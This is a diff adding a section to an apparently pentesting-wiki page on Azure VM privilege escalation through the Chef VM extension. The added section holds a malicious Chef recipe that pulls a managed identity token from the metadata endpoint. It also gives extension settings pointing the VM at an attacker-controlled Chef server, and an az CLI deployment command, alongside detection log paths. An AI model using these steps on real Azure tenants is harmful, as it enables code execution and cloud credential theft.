diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md index c3a1c4890..43a261b87 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md @@ -169,6 +169,56 @@ Set-AzVMDscExtension `
+Chef Client / LinuxChefClient (third-party marketplace extension) + +Third-party marketplace extensions can also be abused if the extension configuration lets you **point the guest agent to an attacker-controlled policy server**. With Chef, an identity that can write VM extensions can deploy `ChefClient` (Windows) or `LinuxChefClient` (Linux) from publisher `Chef.Bootstrap.WindowsAzure`, set `bootstrap_options.chef_server_url` to a rogue Chef server, and choose an attacker-controlled `runlist`. The VM Agent installs the extension, Chef pulls the cookbook, and the recipe `execute` resource runs arbitrary commands inside the guest. + +A minimal malicious recipe is enough to turn the convergence run into command execution: + +```ruby +execute 'payload' do + command 'curl -s -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"' + action :run +end +``` + +Then deploy the extension and point it to the rogue Chef server (swap `LinuxChefClient` for `ChefClient` on Windows): + +```json +{ + "bootstrap_options": { + "chef_server_url": "http://:443", + "validation_client_name": "chef-validator" + }, + "CHEF_LICENSE": "accept-no-persist", + "runlist": "recipe[netspi::default]", + "chef_node_name": "azvm" +} +``` + +```bash +az vm extension set \ + --resource-group \ + --vm-name \ + --name LinuxChefClient \ + --publisher Chef.Bootstrap.WindowsAzure \ + --version 1210.13 \ + --settings @settings.json \ + --protected-settings @protected.json +``` + +Where `protected.json` must contain the Chef validation private key (for example the `validation_key` field), and `settings.json` contains the JSON shown previously. `chef_server_url` and `runlist` are the key attacker-controlled fields, and the target VM must be able to reach the rogue Chef server. A common follow-up is stealing the VM managed identity token from IMDS and using it against ARM. + +Useful investigation artifacts: + +- Linux: `/var/lib/waagent/Chef.Bootstrap.WindowsAzure.LinuxChefClient-/config/0.settings`, `/var/log/azure/Chef.Bootstrap.WindowsAzure.LinuxChefClient/chef-client.log`, `/var/log/waagent.log` +- Windows: `C:\chef\0.settings`, `C:\WindowsAzure\Logs\Plugins\Chef.Bootstrap.WindowsAzure.ChefClient\\chef-client.log`, `C:\WindowsAzure\Logs\WaAppAgent.log` +- Azure Activity Log: review `Microsoft.Compute/virtualMachines/extensions/write` and `Microsoft.ClassicCompute/virtualMachines/extensions/write`, then validate the extension publisher, name, `chef_server_url`, and `runlist` + +
+ +
+ Hybrid Runbook Worker This is a VM extension that would allow to execute runbooks in VMs from an automation account. For more information check the [Automation Accounts service](../az-services/az-automation-account/index.html). @@ -524,4 +574,12 @@ az vm disk attach \ According to the [**docs**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute), this permission lets you manage the OS of your resource via Windows Admin Center as an administrator. So it looks like this gives access to the WAC to control the VMs... +## References + +- [NetSPI - Azure VM Command Execution using Third-Party Extensions – Chef](https://www.netspi.com/blog/technical-blog/cloud-pentesting/azure-vm-command-execution-using-third-party-extensions/) +- [Microsoft Learn - Chef extension for Azure VMs](https://learn.microsoft.com/en-us/azure/virtual-machines/extensions/chef) +- [Microsoft Learn - Virtual machine extensions and features for Windows](https://learn.microsoft.com/en-us/azure/virtual-machines/extensions/features-windows) +- [Chef Zero](https://github.com/chef/chef-zero) +- [Microsoft Learn - Azure Instance Metadata Service](https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service) + {{#include ../../../banners/hacktricks-training.md}}